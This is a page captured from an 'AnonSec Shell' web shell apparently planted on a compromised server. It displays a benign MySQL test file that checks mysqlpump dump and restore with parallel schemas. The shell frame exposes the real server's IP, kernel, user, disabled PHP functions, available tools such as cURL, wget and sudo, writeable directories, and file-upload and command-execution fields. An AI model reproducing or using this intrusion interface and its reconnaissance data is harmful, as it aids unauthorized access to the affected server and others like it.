AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/mysqlpump_concurrency.test
# Created: 2015-05-15  Lalit Choudhary

-- source include/not_embedded.inc

--echo #
--echo # WL#7755  mysqlpump: Extend mysqldump functionalities
--echo #

# Creating DB's and populating different types of data init for MYSQLPUMP testing.
-- source include/mysqlpump_stmt.inc

# concurrency testing
# when single-transaction is used it is not recommended to use parallelism
--exec $MYSQL_PUMP --databases db1 --single-transaction > $MYSQLTEST_VARDIR/tmp/result_file_1.sql
--exec $MYSQL_PUMP --parallel-schemas=3:db2,db1_1gb --default-parallelism=2 --include-databases=db1_1gb,db1,db2 > $MYSQLTEST_VARDIR/tmp/result_file_2.sql

DROP DATABASE db1;
DROP DATABASE db2;
DROP DATABASE db1_1gb;

--exec $MYSQL < $MYSQLTEST_VARDIR/tmp/result_file_2.sql

# --add-lock : Wrap data inserts on table with write lock on that table in output. This doesn't work with parallelism.
# Because for this restore will fail. eg.ERROR 1100 (HY000) at line 259: Table '<table_name>' was not locked with LOCK TABLES
#--exec $MYSQL_PUMP --parallel-schemas=3:db1 --parallel-schemas=db_1gb,db3 --include-databases=db1,db1_1gb,db3 --add-locks > $MYSQLTEST_VARDIR/tmp/result_file_3.sql
#DROP DATABASE db1;
#DROP DATABASE db3;
#DROP DATABASE db1_1gb;

#--exec $MYSQL < $MYSQLTEST_VARDIR/tmp/result_file_3.sql

# --add-locks will not  work with multi-threaded dump. restore falis with error.
#--exec $MYSQL_PUMP --include-databases=db1,db1_1gb,db2 --add-locks > $MYSQLTEST_VARDIR/tmp/result_file_4.sql
#DROP DATABASE db1;
#DROP DATABASE db2;
#DROP DATABASE db1_1gb;

#--exec $MYSQL < $MYSQLTEST_VARDIR/tmp/result_file_4.sql

--exec $MYSQL_PUMP --include-databases=db2,db1_1gb,db3 --default-parallelism=1  > $MYSQLTEST_VARDIR/tmp/result_file_5.sql
DROP DATABASE db2;
DROP DATABASE db3;
DROP DATABASE db1_1gb;

--exec $MYSQL < $MYSQLTEST_VARDIR/tmp/result_file_5.sql

--remove_files_wildcard $MYSQLTEST_VARDIR/tmp/  result_file*
# Cleanup
DROP DATABASE db1;
DROP DATABASE db2;
DROP DATABASE db3;
DROP DATABASE db1_1gb;

Anon7 - 2022
AnonSec Team